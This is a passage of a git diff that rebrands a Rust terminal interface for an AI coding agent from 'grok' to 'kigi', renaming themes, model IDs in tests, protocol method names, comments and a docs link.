         assert_eq!(
             value,
-            SettingValue::Enum("groknight"),
+            SettingValue::Enum("kiginight"),
             "corrupted `auto_dark_theme = \"auto\"` must fall back to canonical default",
         );
     }
@@ -1166,7 +1166,7 @@ mod tests {
         let value = current_value_for("auto_light_theme", &ui, &pager).expect("must resolve");
         assert_eq!(
             value,
-            SettingValue::Enum("grokday"),
+            SettingValue::Enum("kigiday"),
             "corrupted `auto_light_theme = \"auto\"` must fall back to canonical default",
         );
     }
@@ -1180,7 +1180,7 @@ mod tests {
         };
         let pager = PagerLocalSnapshot::default();
         let value = current_value_for("auto_dark_theme", &ui, &pager).expect("must resolve");
-        assert_eq!(value, SettingValue::Enum("groknight"));
+        assert_eq!(value, SettingValue::Enum("kiginight"));
     }
 
     /// Keywords must be lowercase and non-empty.
diff --git a/crates/codegen/kigi-tui/src/slash/command.rs b/crates/codegen/kigi-tui/src/slash/command.rs
index 588d30c..2abd115 100644
--- a/crates/codegen/kigi-tui/src/slash/command.rs
+++ b/crates/codegen/kigi-tui/src/slash/command.rs
@@ -221,7 +221,7 @@ pub trait SlashCommand: Send + Sync {
     }
 
     /// Whether this command functions in the scrollback-native **minimal**
-    /// mode (`grok --minimal`).
+    /// mode (`kigi --minimal`).
     ///
     /// Minimal mode deletes the interactive fullscreen scrollback pane, the
     /// in-app mouse selection/copy path, and the agent dashboard, handing
diff --git a/crates/codegen/kigi-tui/src/slash/commands/btw.rs b/crates/codegen/kigi-tui/src/slash/commands/btw.rs
index 14e8529..a94b3bc 100644
--- a/crates/codegen/kigi-tui/src/slash/commands/btw.rs
+++ b/crates/codegen/kigi-tui/src/slash/commands/btw.rs
@@ -1,7 +1,7 @@
 //! `/btw` -- ask a side question without interrupting the running agent.
 //!
 //! Returns `CommandResult::Action(Action::SendBtw(...))` so the dispatch layer
-//! fires it as an ACP ext method (`x.ai/btw`) that bypasses the prompt queue.
+//! fires it as an ACP ext method (`kigi/btw`) that bypasses the prompt queue.
 
 use crate::app::actions::Action;
 use crate::slash::command::{CommandExecCtx, CommandResult, SlashCommand};
diff --git a/crates/codegen/kigi-tui/src/slash/commands/docs.rs b/crates/codegen/kigi-tui/src/slash/commands/docs.rs
index 4f7d3bf..bb6dfd5 100644
--- a/crates/codegen/kigi-tui/src/slash/commands/docs.rs
+++ b/crates/codegen/kigi-tui/src/slash/commands/docs.rs
@@ -1,15 +1,16 @@
-//! `/docs` -- open How-to Guides (in-TUI) or online Build docs.
+//! `/docs` -- open How-to Guides (in-TUI) or the online docs.
 //!
 //! Bare `/docs` opens the same DocPicker as command-palette "How-to Guides".
-//! `/docs web` opens https://docs.x.ai/build/overview in the browser.
+//! `/docs web` opens the Kigi project docs in the browser.
 //! `/docs <title>` opens a single guide by title (case-insensitive).
 
 use crate::app::actions::Action;
 use crate::docs::{all_titles, find_doc};
 use crate::slash::command::{AppCtx, ArgItem, CommandExecCtx, CommandResult, SlashCommand};
 
-/// Online Build docs landing page (hardcoded like other TUI deep-links; docs.x.ai can redirect if the path moves).
-pub const BUILD_DOCS_URL: &str = "https://docs.x.ai/build/overview";
+/// Online docs landing page (hardcoded like other TUI deep-links; the
+/// project README is the docs entry point for the GitHub-hosted docs).
+pub const BUILD_DOCS_URL: &str = "https://github.com/ZacharyZhang-NY/Kigi-CLI#readme";
 
 /// Open How-to Guides or online Build docs.
 pub struct DocsCommand;
@@ -55,7 +56,7 @@ impl SlashCommand for DocsCommand {
                 display: "web".into(),
                 match_text: "web".into(),
                 insert_text: "web".into(),
-                description: "Open docs.x.ai/build in the browser".into(),
+                description: "Open docs.kigi/build in the browser".into(),
             },
         ];
         items.extend(all_titles().map(|title| ArgItem {
diff --git a/crates/codegen/kigi-tui/src/slash/commands/effort.rs b/crates/codegen/kigi-tui/src/slash/commands/effort.rs
index cda1aa4..e605206 100644
--- a/crates/codegen/kigi-tui/src/slash/commands/effort.rs
+++ b/crates/codegen/kigi-tui/src/slash/commands/effort.rs
@@ -205,7 +205,7 @@ mod tests {
     #[test]
     fn none_and_minimal_rejected_when_model_menu_omits_them() {
         // Legacy fallback menu is low..xhigh — `none`/`minimal` used to pass
-        // through and 400 on grok-4.5; reject at the TUI instead.
+        // through and 400 on kigi-4.5; reject at the TUI instead.
         let mut state = ModelState::default();
         let (id, info) = model_with_reasoning("reasoning-x", "Reasoning X");
         state.available.insert(id.clone(), info);
@@ -292,7 +292,7 @@ mod tests {
     #[test]
     fn non_reasoning_model_errors() {
         let mut state = ModelState::default();
-        let (id, info) = plain_model("grok-4.5", "Grok 4.5");
+        let (id, info) = plain_model("kigi-4.5", "Kigi 4.5");
         state.available.insert(id.clone(), info);
         state.current = Some(id);
         let mut ctx = dummy_exec_ctx(&state);
@@ -325,7 +325,7 @@ mod tests {
         assert!(cmd.suggest_args(&ctx, "").is_none());
 
         let mut plain = ModelState::default();
-        let (id, info) = plain_model("grok-4.5", "Grok 4.5");
+        let (id, info) = plain_model("kigi-4.5", "Kigi 4.5");
         plain.available.insert(id.clone(), info);
         plain.current = Some(id);
         let ctx = AppCtx {
diff --git a/crates/codegen/kigi-tui/src/slash/commands/expand.rs b/crates/codegen/kigi-tui/src/slash/commands/expand.rs
index 57d96b5..7291eac 100644
--- a/crates/codegen/kigi-tui/src/slash/commands/expand.rs
+++ b/crates/codegen/kigi-tui/src/slash/commands/expand.rs
@@ -1,6 +1,6 @@
 //! `/expand` -- re-print the last collapsed block, fully expanded (minimal mode).
 //!
-//! In the scrollback-native minimal mode (`grok --minimal`) finalized blocks are
+//! In the scrollback-native minimal mode (`kigi --minimal`) finalized blocks are
 //! printed once into the terminal's native scrollback, with reasoning collapsed
 //! and large tool output truncated (design decision K9). Committed terminal text
 //! can't be mutated, so "expanding" one is an honest re-print of the same block
diff --git a/crates/codegen/kigi-tui/src/slash/commands/loop_cmd.rs b/crates/codegen/kigi-tui/src/slash/commands/loop_cmd.rs
index b63a1a8..66eef1c 100644
--- a/crates/codegen/kigi-tui/src/slash/commands/loop_cmd.rs
+++ b/crates/codegen/kigi-tui/src/slash/commands/loop_cmd.rs
@@ -1,5 +1,5 @@
 use agent_client_protocol as acp;
-use kigi_tools::implementations::grok_build::{
+use kigi_tools::implementations::kigi::{
     SCHEDULER_CREATE_TOOL_NAME, loop_schedule_instruction, loop_usage_message,
 };
 
diff --git a/crates/codegen/kigi-tui/src/slash/commands/mod.rs b/crates/codegen/kigi-tui/src/slash/commands/mod.rs
index be49c79..3ae6f8d 100644
--- a/crates/codegen/kigi-tui/src/slash/commands/mod.rs
+++ b/crates/codegen/kigi-tui/src/slash/commands/mod.rs
@@ -140,15 +140,15 @@ mod tests {
     /// Build a ModelState with two models for testing.
     fn sample_models() -> ModelState {
         let mut models = ModelState::default();
-        let id_fast = acp::ModelId::new(Arc::from("grok-4.5"));
+        let id_fast = acp::ModelId::new(Arc::from("kigi-4.5"));
         models.available.insert(
             id_fast.clone(),
-            acp::ModelInfo::new(id_fast.clone(), "Grok 4.5".to_string()),
+            acp::ModelInfo::new(id_fast.clone(), "Kigi 4.5".to_string()),
         );
-        let id_pro = acp::ModelId::new(Arc::from("grok-4.3"));
+        let id_pro = acp::ModelId::new(Arc::from("kigi-4.3"));
         models.available.insert(
             id_pro.clone(),
-            acp::ModelInfo::new(id_pro.clone(), "Grok 4.3".to_string()),
+            acp::ModelInfo::new(id_pro.clone(), "Kigi 4.3".to_string()),
         );
         models.current = Some(id_fast);
         models
@@ -307,10 +307,10 @@ mod tests {
         let models = sample_models();
         let mut ctx = make_ctx(&models);
         let cmd = model::ModelCommand;
-        let result = cmd.run(&mut ctx, "Grok 4.5");
+        let result = cmd.run(&mut ctx, "Kigi 4.5");
         match result {
             CommandResult::Action(Action::SetDefaultModel(id)) => {
-                assert_eq!(id.0.as_ref(), "grok-4.5");
+                assert_eq!(id.0.as_ref(), "kigi-4.5");
             }
             other => panic!("expected Action(SetDefaultModel), got {other:?}"),
         }
@@ -320,10 +320,10 @@ mod tests {
         let models = sample_models();
         let mut ctx = make_ctx(&models);
         let cmd = model::ModelCommand;
-        let result = cmd.run(&mut ctx, "grok-4.3");
+        let result = cmd.run(&mut ctx, "kigi-4.3");
         match result {
             CommandResult::Action(Action::SetDefaultModel(id)) => {
-                assert_eq!(id.0.as_ref(), "grok-4.3");
+                assert_eq!(id.0.as_ref(), "kigi-4.3");
             }
             other => panic!("expected Action(SetDefaultModel), got {other:?}"),
         }
@@ -333,10 +333,10 @@ mod tests {
         let models = sample_models();
         let mut ctx = make_ctx(&models);
         let cmd = model::ModelCommand;
-        let result = cmd.run(&mut ctx, "grok 4.5");
+        let result = cmd.run(&mut ctx, "kigi 4.5");
         match result {
             CommandResult::Action(Action::SetDefaultModel(id)) => {
-                assert_eq!(id.0.as_ref(), "grok-4.5");
+                assert_eq!(id.0.as_ref(), "kigi-4.5");
             }
             other => panic!("expected Action(SetDefaultModel), got {other:?}"),
         }
@@ -387,12 +387,12 @@ mod tests {
         assert!(
             items
                 .iter()
-                .any(|i| i.display.starts_with("Grok 4.5") && i.insert_text == "Grok 4.5")
+                .any(|i| i.display.starts_with("Kigi 4.5") && i.insert_text == "Kigi 4.5")
         );
         assert!(
             items
                 .iter()
-                .any(|i| i.display == "Grok 4.3" && i.insert_text == "Grok 4.3")
+                .any(|i| i.display == "Kigi 4.3" && i.insert_text == "Kigi 4.3")
         );
     }
     #[test]
diff --git a/crates/codegen/kigi-tui/src/slash/commands/model.rs b/crates/codegen/kigi-tui/src/slash/commands/model.rs
index 335bcaf..5ffec7a 100644
--- a/crates/codegen/kigi-tui/src/slash/commands/model.rs
+++ b/crates/codegen/kigi-tui/src/slash/commands/model.rs
@@ -71,8 +71,8 @@ impl SlashCommand for ModelCommand {
         }
 
         // Prefer an exact full-string catalog match first. Model display names
-        // often contain spaces ("Grok 4.5"); if we split on the last token
-        // first, a shorter catalog entry ("Grok") would steal the prefix and
+        // often contain spaces ("Kigi 4.5"); if we split on the last token
+        // first, a shorter catalog entry ("Kigi") would steal the prefix and
         // treat "4.5" as an effort level.
         if let Some(id) = ctx.models.resolve_by_name_or_id(trimmed) {
             return CommandResult::Action(Action::SetDefaultModel(id));
@@ -80,7 +80,7 @@ impl SlashCommand for ModelCommand {
 
         // Trailing effort token + reasoning model → session-scoped switch
         // (not persisted as default). Resolve via the shared gate so a rejected
-        // level (e.g. `none` on grok-4.5) surfaces the effort error with the
+        // level (e.g. `none` on kigi-4.5) surfaces the effort error with the
         // model's offered ids — not "Unknown model: … none".
         if let Some((prefix, token)) = split_trailing_token(trimmed)
             && let Some(id) = resolve_model(ctx.models, prefix)
@@ -267,7 +267,7 @@ mod tests {
     fn empty_query_returns_one_row_per_logical_model() {
         let mut state = ModelState::default();
         let (rid, rinfo) = model_with_reasoning("reasoning-x", "Reasoning X");
-        let (pid, pinfo) = plain_model("grok-4.5", "Grok 4.5");
+        let (pid, pinfo) = plain_model("kigi-4.5", "Kigi 4.5");
         state.available.insert(rid, rinfo);
         state.available.insert(pid, pinfo);
 
@@ -290,8 +290,8 @@ mod tests {
         assert_eq!(reasoning.insert_text, "Reasoning X ");
 
         // Plain model has no trailing space -- Enter commits immediately.
-        let plain = items.iter().find(|i| i.match_text == "Grok 4.5").unwrap();
-        assert_eq!(plain.insert_text, "Grok 4.5");
+        let plain = items.iter().find(|i| i.match_text == "Kigi 4.5").unwrap();
+        assert_eq!(plain.insert_text, "Kigi 4.5");
     }
 
     #[test]
@@ -408,30 +408,30 @@ mod tests {
 
     #[test]
     fn run_prefers_full_multi_word_model_name_over_prefix_plus_effort() {
-        // Catalog has both "Grok" (reasoning) and "Grok 4.5". `/model Grok 4.5`
-        // must select the full name, not treat "4.5" as an effort on "Grok".
+        // Catalog has both "Kigi" (reasoning) and "Kigi 4.5". `/model Kigi 4.5`
+        // must select the full name, not treat "4.5" as an effort on "Kigi".
         let mut state = ModelState::default();
-        let (short_id, short_info) = model_with_reasoning("grok", "Grok");
-        let (long_id, long_info) = model_with_reasoning("grok-4.5", "Grok 4.5");
+        let (short_id, short_info) = model_with_reasoning("kigi", "Kigi");
+        let (long_id, long_info) = model_with_reasoning("kigi-4.5", "Kigi 4.5");
         state.available.insert(short_id, short_info);
         state.available.insert(long_id.clone(), long_info);
         let mut ctx = dummy_exec_ctx(&state);
-        let result = ModelCommand.run(&mut ctx, "Grok 4.5");
+        let result = ModelCommand.run(&mut ctx, "Kigi 4.5");
         match result {
             CommandResult::Action(Action::SetDefaultModel(resolved_id)) => {
                 assert_eq!(resolved_id, long_id);
             }
-            other => panic!("expected SetDefaultModel(Grok 4.5), got {other:?}"),
+            other => panic!("expected SetDefaultModel(Kigi 4.5), got {other:?}"),
         }
     }
 
     #[test]
     fn run_rejects_effort_for_non_reasoning_model() {
         let mut state = ModelState::default();
-        let (id, info) = plain_model("grok-4.5", "Grok 4.5");
+        let (id, info) = plain_model("kigi-4.5", "Kigi 4.5");
         state.available.insert(id, info);
         let mut ctx = dummy_exec_ctx(&state);
-        let result = ModelCommand.run(&mut ctx, "Grok 4.5 high");
+        let result = ModelCommand.run(&mut ctx, "Kigi 4.5 high");
         // Falls through to "is the whole string a model name?" — which
         // it isn't, so we get an Unknown error.
         assert!(matches!(result, CommandResult::Error(_)));
@@ -449,10 +449,10 @@ mod tests {
     #[test]
     fn run_bare_model_name_dispatches_set_default_model() {
         let mut state = ModelState::default();
-        let (id, info) = plain_model("grok-4.5", "Grok 4.5");
+        let (id, info) = plain_model("kigi-4.5", "Kigi 4.5");
         state.available.insert(id.clone(), info);
         let mut ctx = dummy_exec_ctx(&state);
-        let result = ModelCommand.run(&mut ctx, "Grok 4.5");
+        let result = ModelCommand.run(&mut ctx, "Kigi 4.5");
         match result {
             CommandResult::Action(Action::SetDefaultModel(resolved_id)) => {
                 assert_eq!(resolved_id, id);
@@ -461,15 +461,15 @@ mod tests {
         }
     }
 
-    /// Case-insensitive matching against the catalog: `/model grok 4.5`
-    /// resolves to the same `ModelId` as `/model Grok 4.5`.
+    /// Case-insensitive matching against the catalog: `/model kigi 4.5`
+    /// resolves to the same `ModelId` as `/model Kigi 4.5`.
     #[test]
     fn run_set_default_model_resolves_case_insensitively() {
         let mut state = ModelState::default();
-        let (id, info) = plain_model("grok-4.5", "Grok 4.5");
+        let (id, info) = plain_model("kigi-4.5", "Kigi 4.5");
         state.available.insert(id.clone(), info);
         let mut ctx = dummy_exec_ctx(&state);
-        let result = ModelCommand.run(&mut ctx, "grok 4.5");
+        let result = ModelCommand.run(&mut ctx, "kigi 4.5");
         match result {
             CommandResult::Action(Action::SetDefaultModel(resolved_id)) => {
                 assert_eq!(resolved_id, id);
diff --git a/crates/codegen/kigi-tui/src/slash/commands/recap.rs b/crates/codegen/kigi-tui/src/slash/commands/recap.rs
index 387d1e2..3febce8 100644
--- a/crates/codegen/kigi-tui/src/slash/commands/recap.rs
+++ b/crates/codegen/kigi-tui/src/slash/commands/recap.rs
@@ -1,7 +1,7 @@
 //! `/recap` -- summarize the session so far ("where was I").
 //!
 //! Returns `CommandResult::Action(Action::SendRecap { auto: false })` so the
-//! dispatch layer fires it as an ACP ext method (`x.ai/recap`) that bypasses
+//! dispatch layer fires it as an ACP ext method (`kigi/recap`) that bypasses
 //! the prompt queue. The recap arrives asynchronously as a scrollback line and
 //! is never added to the model conversation.
 
diff --git a/crates/codegen/kigi-tui/src/slash/commands/theme.rs b/crates/codegen/kigi-tui/src/slash/commands/theme.rs
index 85e0ba9..21acc54 100644
--- a/crates/codegen/kigi-tui/src/slash/commands/theme.rs
+++ b/crates/codegen/kigi-tui/src/slash/commands/theme.rs
@@ -157,7 +157,7 @@ mod tests {
         theme_cache::seed_auto_theme_defaults_for_test();
         system_appearance::clear_mock();
         // Set LOADED=true so current_kind() doesn't try to read from disk.
-        theme_cache::set(ThemeKind::GrokNight);
+        theme_cache::set(ThemeKind::KigiNight);
         f();
         system_appearance::clear_mock();
         theme_cache::reset_for_test();
@@ -232,7 +232,7 @@ mod tests {
     fn suggest_args_explicit_active_when_not_auto() {
         with_test_env(|| {
             theme_cache::set_auto_mode(false);
-            theme_cache::set(ThemeKind::GrokNight);
+            theme_cache::set(ThemeKind::KigiNight);
             let cmd = ThemeCommand;
             let models = crate::acp::model_state::ModelState::default();
             let ctx = AppCtx {
@@ -241,14 +241,14 @@ mod tests {
                 screen_mode: crate::app::ScreenMode::Fullscreen,
             };
             let items = cmd.suggest_args(&ctx, "").expect("should return items");
-            let groknight = items
+            let kiginight = items
                 .iter()
-                .find(|i| i.insert_text == "groknight")
-                .expect("groknight should be in list");
+                .find(|i| i.insert_text == "kiginight")
+                .expect("kiginight should be in list");
             assert!(
-                groknight.description.contains("(active)"),
+                kiginight.description.contains("(active)"),
                 "explicit theme should show (active), got: {}",
-                groknight.description
+                kiginight.description
             );
         });
     }
@@ -257,7 +257,7 @@ mod tests {
     fn suggest_args_no_explicit_active_when_auto() {
         with_test_env(|| {
             theme_cache::set_auto_mode(true);
-            theme_cache::set(ThemeKind::GrokNight);
+            theme_cache::set(ThemeKind::KigiNight);
             let cmd = ThemeCommand;
             let models = crate::acp::model_state::ModelState::default();
             let ctx = AppCtx {
@@ -298,12 +298,12 @@ mod tests {
                     ..crate::settings::PagerLocalSnapshot::default()
                 },
             };
-            let result = cmd.run(&mut ctx, "groknight");
+            let result = cmd.run(&mut ctx, "kiginight");
             match result {
                 CommandResult::Action(Action::SetTheme(name)) => {
-                    assert_eq!(name, "groknight");
+                    assert_eq!(name, "kiginight");
                 }
-                other => panic!("expected Action::SetTheme(\"groknight\"), got {other:?}"),
+                other => panic!("expected Action::SetTheme(\"kiginight\"), got {other:?}"),
             }
         });
     }
@@ -315,7 +315,7 @@ mod tests {
     #[test]
     fn run_toggle_dispatches_set_theme_action() {
         with_test_env(|| {
-            theme_cache::set(ThemeKind::GrokNight);
+            theme_cache::set(ThemeKind::KigiNight);
             // Hard-fail with a clear message if the precondition
             // breaks — `(0 + 1) % 0` in `run` would otherwise panic
             // with `attempt to calculate the remainder with a
@@ -342,7 +342,7 @@ mod tests {
             let result = cmd.run(&mut ctx, "");
             match result {
                 CommandResult::Action(Action::SetTheme(name)) => {
-                    // available[0] = GrokNight; next is available[1].
+                    // available[0] = KigiNight; next is available[1].
                     let expected = ThemeKind::available()[1].display_name();
                     assert_eq!(name, expected);
                 }
@@ -397,13 +397,13 @@ mod tests {
                     ..crate::settings::PagerLocalSnapshot::default()
                 },
             };
-            // "dark" is an alias for GrokNight.
+            // "dark" is an alias for KigiNight.
             let result = cmd.run(&mut ctx, "dark");
             match result {
                 CommandResult::Action(Action::SetTheme(name)) => {
-                    assert_eq!(name, "groknight", "alias must normalise to canonical");
+                    assert_eq!(name, "kiginight", "alias must normalise to canonical");
                 }
-                other => panic!("expected Action::SetTheme(\"groknight\"), got {other:?}"),
+                other => panic!("expected Action::SetTheme(\"kiginight\"), got {other:?}"),
             }
         });
     }
@@ -416,8 +416,8 @@ mod tests {
             system_appearance::set_mock(Some(system_appearance::SystemAppearance::Light));
             let cmd = ThemeCommand;
             cmd.preview_arg("auto");
-            // Default auto config maps Light -> GrokDay.
-            assert_eq!(Theme::current_kind(), ThemeKind::GrokDay);
+            // Default auto config maps Light -> KigiDay.
+            assert_eq!(Theme::current_kind(), ThemeKind::KigiDay);
         });
     }
 
@@ -425,10 +425,10 @@ mod tests {
     #[test]
     fn preview_explicit_theme_applies_directly() {
         with_test_env(|| {
-            theme_cache::set(ThemeKind::GrokNight);
+            theme_cache::set(ThemeKind::KigiNight);
             let cmd = ThemeCommand;
-            cmd.preview_arg("grokday");
-            assert_eq!(Theme::current_kind(), ThemeKind::GrokDay);
+            cmd.preview_arg("kigiday");
+            assert_eq!(Theme::current_kind(), ThemeKind::KigiDay);
         });
     }
 
@@ -436,12 +436,12 @@ mod tests {
     #[test]
     fn preview_unknown_theme_is_no_op() {
         with_test_env(|| {
-            theme_cache::set(ThemeKind::GrokNight);
+            theme_cache::set(ThemeKind::KigiNight);
             let cmd = ThemeCommand;
             cmd.preview_arg("nonexistent-theme");
             assert_eq!(
                 Theme::current_kind(),
-                ThemeKind::GrokNight,
+                ThemeKind::KigiNight,
                 "unknown theme name must NOT change Theme::current_kind",
             );
         });
@@ -453,17 +453,17 @@ mod tests {
     #[test]
     fn cancel_preview_restores_previous_kind() {
         with_test_env(|| {
-            theme_cache::set(ThemeKind::GrokNight);
+            theme_cache::set(ThemeKind::KigiNight);
             let cmd = ThemeCommand;
             // Simulate user navigating into a different theme during preview.
-            cmd.preview_arg("grokday");
-            assert_eq!(Theme::current_kind(), ThemeKind::GrokDay);
+            cmd.preview_arg("kigiday");
+            assert_eq!(Theme::current_kind(), ThemeKind::KigiDay);
 
             // Then Escape (or arg picker dismissal): restore.
-            cmd.cancel_preview("groknight");
+            cmd.cancel_preview("kiginight");
             assert_eq!(
                 Theme::current_kind(),
-                ThemeKind::GrokNight,
+                ThemeKind::KigiNight,
                 "cancel_preview must restore the previous canonical",
             );
         });
@@ -473,12 +473,12 @@ mod tests {
     #[test]
     fn cancel_preview_unknown_theme_is_no_op() {
         with_test_env(|| {
-            theme_cache::set(ThemeKind::GrokDay);
+            theme_cache::set(ThemeKind::KigiDay);
             let cmd = ThemeCommand;
             cmd.cancel_preview("nonexistent-theme");
             assert_eq!(
                 Theme::current_kind(),
-                ThemeKind::GrokDay,
+                ThemeKind::KigiDay,
                 "unknown previous must NOT change Theme::current_kind",
             );
         });
diff --git a/crates/codegen/kigi-tui/src/slash/mod.rs b/crates/codegen/kigi-tui/src/slash/mod.rs
index c540fa3..63d0bdf 100644
--- a/crates/codegen/kigi-tui/src/slash/mod.rs
+++ b/crates/codegen/kigi-tui/src/slash/mod.rs
@@ -38,7 +38,7 @@ pub const MAX_VISIBLE_SUGGESTIONS: usize = 6;
 /// A single row in the slash suggestion dropdown.
 #[derive(Debug, Clone)]
 pub struct SuggestionRow {
-    /// Display text (e.g., "/model" or "Grok 4 Fast").
+    /// Display text (e.g., "/model" or "Kigi 4 Fast").
     pub display: String,
     /// Description text (e.g., "Switch the active model").
     pub description: String,
@@ -1099,7 +1099,7 @@ fn analyze_input(text: &str, cursor: usize) -> Option<SlashInput> {
 
 /// Parsed slash command invocation.
 pub struct SlashInvocation<'a> {
-    /// Command token (e.g., "model" for "/model grok-4").
+    /// Command token (e.g., "model" for "/model kigi-4").
     pub token: &'a str,
     /// Everything after the command token, trimmed on the left.
     pub args: &'a str,
@@ -1342,9 +1342,9 @@ mod tests {
 
     #[test]
     fn parses_invocation_with_args() {
-        let inv = parse_invocation("/model grok-code-fast-1").expect("parsed");
+        let inv = parse_invocation("/model kigi-code-fast-1").expect("parsed");
         assert_eq!(inv.token, "model");
-        assert_eq!(inv.args, "grok-code-fast-1");
+        assert_eq!(inv.args, "kigi-code-fast-1");
     }
 
     #[test]
@@ -1398,7 +1398,7 @@ mod tests {
         // /model has takes_args=true, args_required=true.
         assert!(!is_command_complete("/model", &reg));
         assert!(!is_command_complete("/model ", &reg));
-        assert!(is_command_complete("/model grok-4", &reg));
+        assert!(is_command_complete("/model kigi-4", &reg));
     }
 
     #[test]
@@ -1556,8 +1556,8 @@ mod tests {
         let state = SlashState::default();
         let models = ModelState::default();
 
-        // Cursor 3 in "/mod grok-4" clamps the query to "mo".
-        ctrl.refresh(&state, "/mod grok-4", 3, &models);
+        // Cursor 3 in "/mod kigi-4" clamps the query to "mo".
+        ctrl.refresh(&state, "/mod kigi-4", 3, &models);
         let snapshot = state.snapshot();
         assert!(snapshot.open);
         assert_eq!(snapshot.query, "mo");
@@ -1576,7 +1576,7 @@ mod tests {
         let state = SlashState::default();
         let models = ModelState::default();
 
-        ctrl.refresh(&state, "/model grok-4", 3, &models);
+        ctrl.refresh(&state, "/model kigi-4", 3, &models);
         let snapshot = state.snapshot();
         assert!(snapshot.open);
         assert!(snapshot.command_recognized);
@@ -2171,7 +2171,7 @@ mod tests {
     }
 
     /// Tier-restricted commands stay in the dropdown (discoverability) even
-    /// though `get()` blocks execution — invoking one shows the SuperGrok
+    /// though `get()` blocks execution — invoking one shows the subscription
     /// upsell (covered by the dispatch-level tests).
     #[test]
     fn restricted_commands_stay_visible_in_dropdown() {
diff --git a/crates/codegen/kigi-tui/src/slash/registry.rs b/crates/codegen/kigi-tui/src/slash/registry.rs
index 1a3c9bd..131e813 100644
--- a/crates/codegen/kigi-tui/src/slash/registry.rs
+++ b/crates/codegen/kigi-tui/src/slash/registry.rs
@@ -220,7 +220,7 @@ impl CommandRegistry {
     ///
     /// Entries are normalized via [`Self::normalize_deny_name`]. Restricted
     /// commands stay visible in the dropdown/completion (discoverability)
-    /// but disappear from `get()` — invoking one shows the SuperGrok upsell
+    /// but disappear from `get()` — invoking one shows the subscription upsell
     /// instead of executing (see the `dispatch_send_prompt_inner` hook).
     /// Pass an empty slice to clear the deny list (e.g. after a tier
     /// upgrade mid-session).
@@ -524,7 +524,7 @@ impl CommandRegistry {
             // triggers/key entries so the dropdown, ghost completion, and
             // palette show them like any other command (discoverability).
             // Execution is blocked by `get()`'s `restricted_match` filter —
-            // invoking one shows the SuperGrok upsell instead.
+            // invoking one shows the subscription upsell instead.
 
             // Insert canonical key.
             self.key_to_index.insert(canonical.to_string(), idx);
diff --git a/crates/codegen/kigi-tui/src/trace_cmd.rs b/crates/codegen/kigi-tui/src/trace_cmd.rs
index 5e577c6..a92d528 100644
--- a/crates/codegen/kigi-tui/src/trace_cmd.rs
+++ b/crates/codegen/kigi-tui/src/trace_cmd.rs
@@ -159,7 +159,7 @@ pub(crate) fn find_session_dir(session_id: &str) -> Result<PathBuf> {
     kigi_shell::session::persistence::find_session_dir_by_id(session_id).with_context(|| {
         format!(
             "Session '{session_id}' not found under {}",
-            crate::util::display_user_grok_path("sessions")
+            crate::util::display_user_kigi_path("sessions")
         )
     })
 }
diff --git a/crates/codegen/kigi-tui/src/unified_log.rs b/crates/codegen/kigi-tui/src/unified_log.rs
index 8e4ff03..a88d81c 100644
--- a/crates/codegen/kigi-tui/src/unified_log.rs
+++ b/crates/codegen/kigi-tui/src/unified_log.rs
@@ -1,7 +1,7 @@
 //! Unified log forwarding for the pager.
 //!
 //! Buffers log entries in memory and flushes them to the shell via
-//! `x.ai/log` ACP notifications. Call [`init`] once at startup with
+//! `kigi/log` ACP notifications. Call [`init`] once at startup with
 //! the ACP sender, then use [`info`], [`warn`], [`error`], [`debug`]
 //! from anywhere.
 
@@ -66,7 +66,7 @@ fn build_notification(entries: Vec<ClientLogEntry>) -> Option<acp::ExtNotificati
         return None;
     }
     let params = LogNotificationParams {
-        src: LogSource::GrokPager,
+        src: LogSource::KigiPager,
         entries,
     };
     let raw = serde_json::value::to_raw_value(&params).ok()?;
diff --git a/crates/codegen/kigi-tui/src/views/agent_status.rs b/crates/codegen/kigi-tui/src/views/agent_status.rs
index 3a6c20c..64a683f 100644
--- a/crates/codegen/kigi-tui/src/views/agent_status.rs
+++ b/crates/codegen/kigi-tui/src/views/agent_status.rs
@@ -643,7 +643,7 @@ mod tests {
         // background colour on the label span so a regression that drops
         // the chip-vs-modal colour alignment gets caught.
         //
-        // Use the unquantized `groknight()` theme directly so warning and
+        // Use the unquantized `kiginight()` theme directly so warning and
         // bg_base remain distinguishable in the test env — `Theme::current()`
         // collapses both to ANSI `Reset` on 16-colour terminals, which
         // would defeat the assertion.
@@ -654,7 +654,7 @@ mod tests {
             2,
             0,
         );
-        let t = Theme::groknight();
+        let t = Theme::kiginight();
         let line = goal_status_line(&g, &t, false, 0, None, 0);
         // The label span is the one whose content starts with "Goal:".
         let label_span = line
@@ -677,7 +677,7 @@ mod tests {
             2,
             0,
         );
-        let t = Theme::groknight();
+        let t = Theme::kiginight();
         let line = goal_status_line(&g, &t, false, 0, None, 0);
         let label_span = line
             .spans
@@ -811,7 +811,7 @@ mod tests {
     #[test]
     fn mcp_status_line_uses_dim_directory_color() {
         // The chip must render in `theme.gray_dim` to match the directory path.
-        let t = Theme::groknight();
+        let t = Theme::kiginight();
         let progress = McpInitProgress {
             total: 2,
             connected: 0,
diff --git a/crates/codegen/kigi-tui/src/views/agents_modal.rs b/crates/codegen/kigi-tui/src/views/agents_modal.rs
index 766d0c3..5f08e9e 100644
--- a/crates/codegen/kigi-tui/src/views/agents_modal.rs
+++ b/crates/codegen/kigi-tui/src/views/agents_modal.rs
@@ -197,7 +197,7 @@ pub struct AgentsModalState {
     /// Snapshot of bundle catalog used to merge persona lists.
     bundle: BundleState,
     /// Resolved startup agent name (same chain as shell: `[agent]`, `KIGI_AGENT`,
-    /// model `agentType`, then `grok-build`).
+    /// model `agentType`, then `kigi`).
     pub default_agent: String,
     /// Agent running in the current session (`session/info` `agentName`).
     pub active_agent: Option<String>,
@@ -211,12 +211,12 @@ pub struct AgentsModalState {
     pub persona_expanded: std::collections::HashSet<usize>,
 }
 /// Built-in agent names that should be shown to the user.
-/// Skips internal variants (GrokBuildConcise, GrokBuildPlan,
-/// GrokBuildPlanNoSubagents, GrokBuildAskUser, Codex, Opencode,
-/// CursorExtended, GrokBuildOrchestrator).
+/// Skips internal variants (KigiConcise, KigiPlan,
+/// KigiPlanNoSubagents, KigiAskUser, Codex, Opencode,
+/// CursorExtended, KigiOrchestrator).
 fn user_visible_builtins() -> &'static [BuiltinAgentName] {
     &[
-        BuiltinAgentName::GrokBuild,
+        BuiltinAgentName::Kigi,
         BuiltinAgentName::GeneralPurpose,
         BuiltinAgentName::Explore,
         BuiltinAgentName::Plan,
diff --git a/crates/codegen/kigi-tui/src/views/dashboard/peek.rs b/crates/codegen/kigi-tui/src/views/dashboard/peek.rs
index 50ccdd1..5330eb7 100644
--- a/crates/codegen/kigi-tui/src/views/dashboard/peek.rs
